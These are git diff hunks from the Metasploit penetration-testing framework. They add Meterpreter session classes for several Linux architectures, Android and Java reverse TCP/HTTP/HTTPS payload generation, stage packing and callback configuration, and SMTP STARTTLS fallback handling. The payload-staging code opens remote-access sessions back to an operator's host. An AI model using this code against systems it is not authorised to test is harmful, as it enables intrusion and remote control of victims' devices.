doc = "AWS4-HMAC-SHA256\n#{now}\n#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request\n#{hexdigest(flat_request)}"
|
||||
|
||||
signature = hexhmac(credentials_mac, doc)
|
||||
[headers_list, signature]
|
||||
end
|
||||
|
||||
def auth(creds, service, headers, body_digest, now)
|
||||
headers_list, signature = sign(creds, service, headers, body_digest, now)
|
||||
"AWS4-HMAC-SHA256 Credential=#{creds.fetch('AccessKeyId')}/#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request, SignedHeaders=#{headers_list}, Signature=#{signature}"
|
||||
end
|
||||
|
||||
def body(vars_post)
|
||||
pstr = ""
|
||||
vars_post.each_pair do |var, val|
|
||||
pstr << '&' unless pstr.empty?
|
||||
pstr << var
|
||||
pstr << '='
|
||||
pstr << val
|
||||
end
|
||||
pstr
|
||||
end
|
||||
|
||||
def headers(creds, service, body_digest, now = nil)
|
||||
now = Time.now.utc.strftime("%Y%m%dT%H%M%SZ") if now.nil?
|
||||
headers = {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8',
|
||||
'Accept-Encoding' => '',
|
||||
'User-Agent' => USER_AGENT,
|
||||
'X-Amz-Date' => now,
|
||||
'Host' => datastore['RHOST'],
|
||||
'X-Amz-Content-Sha256' => body_digest,
|
||||
'Accept' => '*/*'
|
||||
}
|
||||
headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token']
|
||||
sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date']
|
||||
auth_headers = headers.select { |k, _| sign_headers.include?(k) }
|
||||
headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now)
|
||||
headers
|
||||
end
|
||||
|
||||
def print_hsh(hsh)
|
||||
return if hsh.nil? || !hsh.instance_of?(Hash)
|
||||
hsh.each do |key, value|
|
||||
vprint_status "#{key}: #{value}"
|
||||
end
|
||||
end
|
||||
|
||||
def print_results(doc, action)
|
||||
response = "#{action}Response"
|
||||
result = "#{action}Result"
|
||||
resource = /[A-Z][a-z]+([A-Za-z]+)/.match(action)[1]
|
||||
|
||||
if doc["ErrorResponse"] && doc["ErrorResponse"]["Error"]
|
||||
print_error doc["ErrorResponse"]["Error"]["Message"]
|
||||
return nil
|
||||
end
|
||||
|
||||
idoc = doc.fetch(response)
|
||||
if idoc.nil? || !idoc.instance_of?(Hash)
|
||||
print_error "Unexpected response structure"
|
||||
return {}
|
||||
end
|
||||
idoc = idoc[result] if idoc[result]
|
||||
idoc = idoc[resource] if idoc[resource]
|
||||
|
||||
if idoc["member"]
|
||||
idoc["member"].each do |x|
|
||||
print_hsh x
|
||||
end
|
||||
else
|
||||
print_hsh idoc
|
||||
end
|
||||
idoc
|
||||
end
|
||||
|
||||
def call_api(creds, service, api_params)
|
||||
vprint_status("Connecting (#{datastore['RHOST']})...")
|
||||
body = body(api_params)
|
||||
body_length = body.length
|
||||
body_digest = hexdigest(body)
|
||||
begin
|
||||
res = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'data' => body,
|
||||
'headers' => headers(creds, service, body_digest)
|
||||
)
|
||||
if res.nil?
|
||||
print_error "#{peer} did not respond"
|
||||
else
|
||||
Hash.from_xml(res.body)
|
||||
end
|
||||
rescue => e
|
||||
print_error e.message
|
||||
end
|
||||
end
|
||||
|
||||
def call_iam(creds, api_params)
|
||||
api_params['Version'] = '2010-05-08' unless api_params['Version']
|
||||
call_api(creds, 'iam', api_params)
|
||||
end
|
||||
|
||||
def call_ec2(creds, api_params)
|
||||
api_params['Version'] = '2015-10-01' unless api_params['Version']
|
||||
call_api(creds, 'ec2', api_params)
|
||||
end
|
||||
|
||||
def call_sts(creds, api_params)
|
||||
api_params['Version'] = '2011-06-15' unless api_params['Version']
|
||||
call_api(creds, 'sts', api_params)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -203,6 +203,8 @@ module Metasploit
|
||||
status = case e.get_error(e.error_code)
|
||||
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
|
||||
Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
when 'STATUS_ACCOUNT_LOCKED_OUT'
|
||||
Metasploit::Model::Login::Status::LOCKED_OUT
|
||||
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
|
||||
Metasploit::Model::Login::Status::INCORRECT
|
||||
else
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.13.4"
|
||||
VERSION = "4.13.7"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_aarch64_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'linux'
|
||||
self.base_arch = ARCH_AARCH64
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_armbe_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'linux'
|
||||
self.base_arch = ARCH_ARMBE
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mips64_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'linux'
|
||||
self.base_arch = ARCH_MIPS64
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-independent meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_Multi < Msf::Sessions::Meterpreter
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'multi'
|
||||
self.base_arch = ARCH_ANY
|
||||
end
|
||||
|
||||
def self.create_session(rstream, opts={})
|
||||
# TODO: fill in more cases here
|
||||
case opts[:payload_uuid].platform
|
||||
when 'python'
|
||||
require 'msf/base/sessions/meterpreter_python'
|
||||
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
|
||||
when 'java'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
|
||||
when 'android'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
|
||||
when 'php'
|
||||
require 'msf/base/sessions/meterpreter_php'
|
||||
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
|
||||
when 'windows'
|
||||
if opts[:payload_uuid].arch == ARCH_X86
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
|
||||
end
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
|
||||
end
|
||||
|
||||
# TODO: what should we do when we get here?
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -67,9 +67,7 @@ module MeterpreterOptions
|
||||
end
|
||||
|
||||
if session.platform == 'android'
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
session.load_android
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_ppc64le_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'linux'
|
||||
self.base_arch = ARCH_PPC64LE
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_ppc_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'linux'
|
||||
self.base_arch = ARCH_PPC
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_zarch_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'linux'
|
||||
self.base_arch = ARCH_ZARCH
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'base64'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
module MettleConfig
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
|
||||
def generate_config(opts={})
|
||||
transport = transport_config_reverse_tcp(opts)
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip
|
||||
opts[:uri] ||= "#{transport[:scheme]}://#{transport[:lhost]}:#{transport[:lport]}"
|
||||
opts.slice(:uuid, :uri, :debug, :log_file)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -323,7 +323,7 @@ module Msf
|
||||
multi_handler.datastore['PAYLOAD'] = payload_name
|
||||
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
|
||||
|
||||
%w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
|
||||
%w(DebugOptions PrependMigrate PrependMigrateProc
|
||||
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
|
||||
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
|
||||
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
|
||||
|
||||
@@ -71,20 +71,32 @@ module Exploit::Remote::SMTPDeliver
|
||||
# This method currently only knows about PLAIN authentication.
|
||||
#
|
||||
def connect_login(global = true)
|
||||
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
|
||||
nsock = connect(global)
|
||||
|
||||
if datastore['DOMAIN'] and not datastore['DOMAIN'] == ''
|
||||
if datastore['DOMAIN'] && datastore['DOMAIN'] != ''
|
||||
domain = datastore['DOMAIN']
|
||||
else
|
||||
domain = Rex::Text.rand_text_alpha(rand(32)+1)
|
||||
end
|
||||
|
||||
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
|
||||
nsock, res = connect_ehlo(global, domain)
|
||||
|
||||
if res =~ /STARTTLS/
|
||||
print_status("Starting tls")
|
||||
raw_send_recv("STARTTLS\r\n", nsock)
|
||||
swap_sock_plain_to_ssl(nsock)
|
||||
|
||||
[:high, :medium, :default].each do |level|
|
||||
begin
|
||||
swap_sock_plain_to_ssl(nsock, level)
|
||||
break
|
||||
rescue OpenSSL::SSL::SSLError
|
||||
# Perform manual fallback for servers that can't
|
||||
print_status 'Could not negotiate SSL, falling back to older ciphers'
|
||||
nsock.close
|
||||
nsock, res = connect_ehlo(global)
|
||||
raw_send_recv("STARTTLS\r\n", nsock)
|
||||
raise if level == :default
|
||||
end
|
||||
end
|
||||
|
||||
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
|
||||
end
|
||||
|
||||
@@ -122,6 +134,12 @@ module Exploit::Remote::SMTPDeliver
|
||||
return nsock
|
||||
end
|
||||
|
||||
def connect_ehlo(global = true, domain)
|
||||
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
|
||||
nsock = connect(global)
|
||||
|
||||
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
|
||||
end
|
||||
|
||||
#
|
||||
# Sends an email message, connecting to the server first if a connection is
|
||||
@@ -216,8 +234,8 @@ protected
|
||||
# Create a new SSL session on the existing socket. Used for STARTTLS
|
||||
# support.
|
||||
#
|
||||
def swap_sock_plain_to_ssl(nsock=self.sock)
|
||||
ctx = generate_ssl_context()
|
||||
def swap_sock_plain_to_ssl(nsock=self.sock, security=:high)
|
||||
ctx = generate_ssl_context(security)
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
||||
|
||||
ssl.connect
|
||||
@@ -227,10 +245,17 @@ protected
|
||||
nsock.sslctx = ctx
|
||||
end
|
||||
|
||||
def generate_ssl_context
|
||||
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
|
||||
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
|
||||
ctx
|
||||
def generate_ssl_context(security=:high)
|
||||
case security
|
||||
when :high
|
||||
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
|
||||
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
|
||||
ctx
|
||||
when :medium
|
||||
OpenSSL::SSL::SSLContext.new(:TLSv1)
|
||||
when :default
|
||||
OpenSSL::SSL::SSLContext.new
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -199,7 +199,14 @@ protected
|
||||
# allocate a new session.
|
||||
if (self.session)
|
||||
begin
|
||||
s = self.session.new(conn, opts)
|
||||
# if there's a create_session method then use it, as this
|
||||
# can form a factory for arb session types based on the
|
||||
# payload.
|
||||
if self.session.respond_to?('create_session')
|
||||
s = self.session.create_session(conn, opts)
|
||||
else
|
||||
s = self.session.new(conn, opts)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
# We just wanna show and log the error, not trying to swallow it.
|
||||
print_error("#{e.class} #{e.message}")
|
||||
|
||||
@@ -317,77 +317,31 @@ protected
|
||||
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
|
||||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python
|
||||
print_status("Staging Python payload...")
|
||||
when :init_python, :init_native, :init_java
|
||||
# TODO: at some point we may normalise these three cases into just :init
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << self.generate_stage(
|
||||
http_url: url,
|
||||
http_user_agent: datastore['MeterpreterUserAgent'],
|
||||
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
||||
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
when :init_java
|
||||
print_status("Staging Java payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = self.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
||||
when :init_native
|
||||
print_status("Staging Native payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
# Damn you, python! Ruining my perfect world!
|
||||
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||
uri = URI(payload_uri(req) + conn_id)
|
||||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
# TODO: does this have to happen just for windows, or can we set it for all?
|
||||
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
|
||||
|
||||
begin
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = self.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id,
|
||||
url: url,
|
||||
uuid: uuid,
|
||||
lhost: uri.host,
|
||||
lport: uri.port
|
||||
lport: uri.port,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||
|
||||
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
@@ -414,11 +368,14 @@ protected
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
# Damn you, python! Ruining my perfect world!
|
||||
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url + "\x00",
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
|
||||
@@ -536,4 +536,12 @@ class Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "mainframe"
|
||||
end
|
||||
|
||||
#
|
||||
# Multi (for wildcard-style platform functions)
|
||||
#
|
||||
class Multi < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "multi"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -32,6 +32,9 @@ class Payload < Msf::Module
|
||||
require 'msf/core/payload/firefox'
|
||||
require 'msf/core/payload/mainframe'
|
||||
|
||||
# Universal payload includes
|
||||
require 'msf/core/payload/multi'
|
||||
|
||||
##
|
||||
#
|
||||
# Payload types
|
||||
|
||||
@@ -24,41 +24,41 @@ module Msf::Payload::Android
|
||||
# We could compile the .class files with dx here
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
''
|
||||
end
|
||||
|
||||
def generate_default_stage(opts={})
|
||||
''
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to construct the payload jar file as a String
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
def generate(opts={})
|
||||
generate_jar(opts).pack
|
||||
end
|
||||
|
||||
def java_string(str)
|
||||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
def apply_options(classes, opts)
|
||||
config = generate_config_bytes(opts)
|
||||
if opts[:stageless]
|
||||
config[0] = "\x01"
|
||||
end
|
||||
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
end
|
||||
|
||||
def generate_config_bytes(opts={})
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
config.to_b
|
||||
result = config.to_b
|
||||
|
||||
result[0] = "\x01" if opts[:stageless]
|
||||
result
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
@@ -104,7 +104,8 @@ module Msf::Payload::Android
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
end
|
||||
|
||||
apply_options(classes, opts)
|
||||
config = generate_config(opts)
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
files = [
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Common loader for Android payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Meterpreter & Configuration',
|
||||
'Description' => 'Android-specific meterpreter generation',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'PayloadCompat' => {'Convention' => 'http https'},
|
||||
'Stage' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts)
|
||||
end
|
||||
|
||||
def stage_meterpreter(opts={})
|
||||
clazz = 'androidpayload.stage.Meterpreter'
|
||||
metstage = MetasploitPayloads.read("android", "metstage.jar")
|
||||
met = MetasploitPayloads.read("android", "meterpreter.jar")
|
||||
|
||||
# Name of the class to load from the stage, the actual jar to load
|
||||
# it from, and then finally the meterpreter stage
|
||||
blocks = [
|
||||
java_string(clazz),
|
||||
java_string(metstage),
|
||||
java_string(met),
|
||||
java_string(generate_config(opts))
|
||||
]
|
||||
|
||||
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Android that speaks HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uri] ||= luri + generate_uri(opts)
|
||||
super(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/android/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Android that speaks HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::ReverseHttps
|
||||
|
||||
include Msf::Payload::Android::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Android that speaks TCP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Android::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,7 +4,7 @@ require 'msf/core'
|
||||
module Msf::Payload::Java
|
||||
|
||||
#
|
||||
# Used by stages; all java stages need to define +@stage_class_files+ as an
|
||||
# Used by stages; all java stages need to define +stage_class_files+ as an
|
||||
# array of .class files located in data/java/
|
||||
#
|
||||
# The staging protocol expects any number of class files, each prepended
|
||||
@@ -15,8 +15,12 @@ module Msf::Payload::Java
|
||||
# [ 32-bit null ]
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
generate_default_stage(opts)
|
||||
end
|
||||
|
||||
def generate_default_stage(opts={})
|
||||
stage = ''
|
||||
@stage_class_files.each do |path|
|
||||
stage_class_files.each do |path|
|
||||
data = MetasploitPayloads.read('java', path)
|
||||
stage << [data.length, data].pack('NA*')
|
||||
end
|
||||
@@ -28,15 +32,14 @@ module Msf::Payload::Java
|
||||
#
|
||||
# Used by stagers to construct the payload jar file as a String
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
def generate(opts={})
|
||||
generate_jar(opts).pack
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
|
||||
# define a list of class files in @class_files which are pulled from the
|
||||
# MetasploitPayloads gem. The configuration file is created by
|
||||
# the payload's #config method.
|
||||
# define a list of class files from the class_files method. The
|
||||
# configuration file is created by the payload's #stager_config method.
|
||||
#
|
||||
# @option opts :main_class [String] the name of the Main-Class
|
||||
# attribute in the manifest. Defaults to "metasploit.Payload"
|
||||
@@ -44,18 +47,18 @@ module Msf::Payload::Java
|
||||
# "metasploit" package name.
|
||||
# @return [Rex::Zip::Jar]
|
||||
def generate_jar(opts={})
|
||||
raise if not respond_to? :config
|
||||
raise if not respond_to? :stager_config
|
||||
# Allow changing the jar's Main Class in the manifest so wrappers
|
||||
# around metasploit.Payload will work.
|
||||
main_class = opts[:main_class] || "metasploit.Payload"
|
||||
|
||||
paths = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
] + @class_files
|
||||
] + class_files
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_sub("metasploit") if opts[:random]
|
||||
jar.add_file("metasploit.dat", config)
|
||||
jar.add_file("metasploit.dat", stager_config(opts))
|
||||
jar.add_files(paths, MetasploitPayloads.path('java'))
|
||||
jar.build_manifest(:main_class => main_class)
|
||||
|
||||
@@ -71,7 +74,7 @@ module Msf::Payload::Java
|
||||
# web.xml. Defaults to random
